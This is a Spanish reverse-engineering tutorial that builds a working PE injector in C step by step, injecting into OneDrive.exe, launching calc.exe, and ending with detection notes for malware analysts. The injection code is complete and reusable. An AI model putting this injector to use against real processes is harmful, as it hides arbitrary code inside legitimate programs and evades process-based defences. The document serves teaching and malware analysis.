Introducción al Reversing – 0xE PE Injection

La inyección de PE (Portable Executable) es una técnica muy interesante y también antigua. Permite inyectar código directamente en otros procesos (Ex. telegram.exe , OneDrive.exe, etc). Funciona asignando memoria ejecutable en el proceso de destino, reubicando la imagen del proceso de inyección y luego escribiendo la imagen reubicada en el proceso de destino. Finalmente, el inyector crea un hilo remoto para ejecutar el código inyectado. A grandes rasgos permite ejecutar código arbitrario dentro de un proceso remoto.

La inyección de PE es muy útil y es bastante vista en análisis de malware. Por ejemplo, puede inyectar el código dañino en procesos del sistema. Más información de la técnica leer aquí.

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

En esta sección veremos como inyectar código en la aplicación de OneDrive y ejecutar la calculadora. Podríamos del mismo modo ejecutar otros comandos del sistema operativo. Otra opción es directamente ejecutar una shellcode, pero debido a las protecciones en Windows 10, nos saltará una excepción y no ejecutará nada. Existen técnicas de explotación para poder hacer bypass de DEP y ASLR, pero eso lo veremos más adelante.

Escribir código en la memoria de otro proceso es la parte fácil. Windows proporciona una API del sistema para leer y escribir en la memoria de otros procesos. Primero necesitamos obtener el PID del proceso, se puede introducir este PID o usar un método para recuperar el PID de un nombre de proceso dado. En este caso usaremos un argumento para pasarle al binario que compilemos (el injector), el PID del proceso.

A grandes rasgos nuestro código será:

  • main – Esta es la función que es responsable de la inyección de la imagen PE del proceso actual en un proceso remoto/target.
  • WINAPI ThreadProc – Esta callback function será ejecutada por el proceso de destino una vez que sea inyectado.
    Esta función ejecutará un MessageBox. Si la inyección es exitosa, debería ejecutarse calc.exe.
getchar(); //Just debugging attach
PIMAGE_DOS_HEADER pIDH;
PIMAGE_NT_HEADERS pINH;
PIMAGE_BASE_RELOCATION pIBR;

PUSHORT TypeOffset;

PVOID ImageBase, Buffer, mem;
ULONG i, Count, Delta, * p;

    if (argc < 2)
    {
        printf("\nUsage: PEInjector <PID>\n");
        return -1;
    }

A continuación, abriremos el proceso. Esto es fácil, simplemente llamando a la función OpenProcess . Según su definición oficial de la documentación de Microsoft:

Opens an existing local process object.

El valor de retorno que deberíamos obtener es un handle del proceso especifico.

If the function succeeds, the return value is an open handle to the specified process. If the function fails, the return value is NULL. To get extended error information, call GetLastError.

printf("\nOpening destino/target process\n");
    HANDLE hProcess, hThread;
    hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
        FALSE,
        strtoul(argv[1], NULL, 0));

    if (!hProcess)
    {
        printf("\nError: Unable to open target process (%u)\n", GetLastError());
        return -1;
    }

Para debuggear, podríamos usar x64dbg. La metodología que personalmente he usado para poder debuggear el snippet es el siguiente:

  • Ejecutar desde cmd el binario PEinjector, pasándole el PID del OneDrive.exe.
  • Como tenemos un getchar(), esperamos a abrir x64dbg.
  • Nos attacheamos al proceso.
  • Ponemos breakpoints en todas las API’s de Windows usadas.
  • Damos a ENTER en el cmd y damos a F9 en el debugger.

Si observamos en el stack tenemos los tres argumentos pasados a OpenProcess. El primero correspondiente a la suma del Process Security and Access Rights. Esta suma es 0x43a. Seguidamente corresponde al FALSE, que es 0x0, y finalmente el PID en hexadecimal correspondiente a 18360 (en decimal).

Ejecutamos hasta el código del usuario, y así volver a nuestro main. Después de abrir el proceso asignaremos memoria en el proceso remoto para que podamos insertar la imagen del proceso actual. Esto se hace utilizando la función VirtualAllocEx. Para calcular la cantidad de memoria que necesitamos asignar, podemos recuperar el tamaño de la imagen de proceso actual analizando la información de la cabecera PE.

PIMAGE_DOS_HEADER pIDH;
PIMAGE_NT_HEADERS pINH;
PVOID module, Buffer, mem;
//Get image of current process module memory
module = GetModuleHandle(NULL);
printf("\nImage base in current process: %#x\n", module);

pIDH = (PIMAGE_DOS_HEADER)module;
//Get module PE Headers
pINH = (PIMAGE_NT_HEADERS)((PUCHAR)module + pIDH->e_lfanew);
//Get the size of the code we want to inject pINH->OptionalHeader.SizeOfImage

Para obtener la Image Base de mi proceso una vez que se cargue en la memoria, se puede llamar a GetModuleHandle para obtenerla. Debido ha que hay un EXE por proceso, es posible solo llamar a GetModuleHandle(NULL).

If this parameter is NULL, GetModuleHandle returns a handle to the file used to create the calling process (.exe file).

Image base in current process: 0xae0000

Asignemos un nuevo bloque de memoria en el proceso target/destino usando VirtualAllocEx.

To allocate memory in the address space of another process, use the VirtualAllocEx function

//Allocate memory in the target process to contain the injected module image
printf("\nAllocating memory in target process\n");
mem = VirtualAllocEx(hProcess, NULL, pINH->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!mem)
    {
        printf("\nError: Unable to allocate memory in target process (%u)\n", GetLastError());

        CloseHandle(hProcess);
        return 0;
    }

    printf("\nMemory allocated at %#x\n", mem);

Si observamos en el stack, los argumentos pasados.

El primero de todos corresponde al handle del proceso, el siguiente NULL, el size del proceso actual, el tipo de asignación de memoria este parámetro debe contener uno de los siguientes valores (MEM_COMMIT | MEM_RESERVE => 0x3000), y finalmente, la protección de la memoria para la región de las páginas a asignar.

En mi caso se asignó en 0x5420000. Seguidamente el nuevo bloque de memoria (con VirtualAlloc) fue asignado a la dirección 0x1480000. Copiemos la imagen del proceso actual allí usando memcpy.

// Now we need to modify the current module before we inject it
// Allocate some space to process the current PE image in an temporary buffer
Buffer = VirtualAlloc(NULL, pINH->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(Buffer, module, pINH->OptionalHeader.SizeOfImage);

Calculo del delta entre 0x5420000 (mem) y 0x00AE0000 (module->ImageBase). Seguidamente calculamos el offset de la tabla reloc para la imagen que fue copiada (con memcpy) en el buffer.

printf("\nRelocating image\n");
//Point to first relocation block copied in temporary buffer
PIMAGE_BASE_RELOCATION pIBR;
pIBR = (PIMAGE_BASE_RELOCATION)((PUCHAR)Buffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
ULONG i, Count, Delta, * p;
Delta = (ULONG)mem - (ULONG)module;
printf("\nDelta: %#x\n", Delta);

Posteriormente nos encontramos con un bucle donde iterará la tabla reloc de la imagen local y modificará todas las direcciones absolutas para que funcionen en la dirección devuelta por VirtualAllocEx.

//Browse all relocation blocks
PUSHORT TypeOffset;
    while (pIBR->VirtualAddress)
    {
        if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
        {
            Count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
            TypeOffset = (PUSHORT)(pIBR + 1);

            for (i = 0; i < Count; i++)
            {
                if (TypeOffset[i])
                {
                    p = (PULONG)((PUCHAR)Buffer + pIBR->VirtualAddress + (TypeOffset[i] & 0xFFF));
                    *p += Delta;
                }
            }
        }

        pIBR = (PIMAGE_BASE_RELOCATION)((PUCHAR)pIBR + pIBR->SizeOfBlock);
    }

Para más información sobre la sección .reloc, y sobre la base relocation table

Finalmente antes de ejecutar, necesitamos escribir. La escritura se hace llamando a WriteProcessMemory.

Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.

printf("\nWriting relocated image into target process\n");

    if (!WriteProcessMemory(hProcess, mem, Buffer, pINH->OptionalHeader.SizeOfImage, NULL))
    {
        printf("\nError: Unable to write process memory (%u)\n", GetLastError());

        VirtualFreeEx(hProcess, mem, 0, MEM_RELEASE);
        CloseHandle(hProcess);

        return -1;
    }

    VirtualFree(Buffer, 0, MEM_RELEASE);

Finalmente ejecutamos el código injectado con CreateRemoteThread.

Creates a thread that runs in the virtual address space of another process.

printf("\nCreating thread in target process\n");
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((PUCHAR)ThreadProc + Delta), NULL, 0, NULL);

Si todo es correcto y permite crear el thread en el proceso target, ejecutará el MessageBox y la calculadora:

DWORD WINAPI ThreadProc(PVOID p)
{
    
    MessageBox(NULL, L"Codigo inyectado!", L"Fwhibbit", MB_ICONINFORMATION);
    ShellExecuteA(GetDesktopWindow(), "open", "calc", NULL, NULL, SW_SHOW);
    return 0;
}

Si se fijan en la barra de tareas de Windows tenemos el icono de OneDrive que apunta al MessageBox, código que hemos injectado nosotros!!.

Si abrimos el software Cheat Engine y le damos attachear a un proceso, podemos observar que existe el proceso OneDrive del MessageBox con nuestra string Fwhibbit.

Usamos Memory Viewer y Go to Address (memoria donde escribimos).

Y allí esta nuestro MZ!!. Una vez le demos a Aceptar en el MessageBox veremos en el momento como el Memory Viewer desaparecerá todo.

Si usamos Process Hacker, doble click al proceso OneDrive.exe. En threads podemos localizar nuestro MessageBox. Código inyectado (código propio malicioso o no) en un proceso remoto del sistema.

Finalmente si damos Aceptar, se ejecutará nuestra calculadora.

Identificando la técnica PE Injection como Analistas de Malware

Cuando se analiza una inyección PE, debido a las operaciones realizadas con el base relocation table, es muy común ver bucles, antes de una llamada a CreateRemoteThread. En nuestro caso pudimos identificar dicho bucle.

Un proceso que asigna memoria dentro de otro proceso, usando, VirtualAllocEx y VirtualAlloc; y un proceso que utiliza las funciones VirtualProtectEx para establecer el flag PAGE_EXECUTE de una región de memoria en otro proceso.

Como conclusión la inyección de PE se realiza comúnmente copiando el código en el espacio de direcciones virtuales del proceso target antes de invocarlo a través de un nuevo thread. Más información sobre esta técnica aqui. Además que la identificación es bastante clara si la escritura puede realizarse con llamadas nativas de la API de Windows como VirtualAllocEx y WriteProcessMemory, y luego invocarse con CreateRemoteThread o código adicional (por ejemplo: una shellcode).

Hasta aquí la sección de hoy! Un saludo @naivenom.